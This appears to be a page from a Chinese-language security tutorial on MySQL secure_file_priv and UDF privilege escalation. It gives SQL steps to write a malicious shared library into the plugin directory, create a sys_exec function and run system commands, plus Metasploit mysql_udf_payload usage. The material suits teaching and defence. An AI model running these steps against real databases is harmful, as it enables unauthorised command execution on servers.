Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

MySQL

在 MySQL 中,secure_file_priv 是一个关键的安全配置变量,用于控制是否允许通过 LOAD_FILE() 和 LOAD_DATA 等函数执行文件的导入和导出操作。

show variables like '%secure_file_priv%';

如果值为空(NULL/空字符串),表示未启用文件路径限制,允许从任意路径导入/导出文件。攻击者可利用此配置漏洞写入恶意文件。

MySQL UDF 提权

MySQL 用户定义函数(UDF)允许通过 C/C++编写扩展功能,但配置不当可能被攻击者利用进行权限提升,获取系统级控制权限。

攻击者利用 MySQL 的FILE权限写入恶意动态链接库(.so/.dll),通过 UDF 机制加载执行,从而以 MySQL 服务账户身份执行系统命令。

利用前提条件:

  1. 文件写入权限:具备FILE权限可写文件
  2. 插件目录路径:知晓plugin_dir位置(如 Linux 默认/usr/lib/mysql/plugin/)
  3. 恶意动态库:预先编译好的恶意 so/dll 文件

secure_file_priv

环境搭建

漏洞利用

定位插件目录

SHOW VARIABLES LIKE 'plugin_dir';  

上传恶意库文件

SELECT 恶意代码 INTO DUMPFILE '/usr/lib/mysql/plugin/hack.so';

创建恶意函数

CREATE FUNCTION sys_exec RETURNS INT SONAME 'hack.so';

执行系统命令

SELECT sys_exec('whoami');
msf > use exploit/multi/mysql/mysql_udf_payload
msf exploit(mysql_udf_payload) > show targets
        ...targets...
msf exploit(mysql_udf_payload) > set TARGET < target-id >
msf exploit(mysql_udf_payload) > show options
        ...show and set options...
msf exploit(mysql_udf_payload) > exploit

参考资料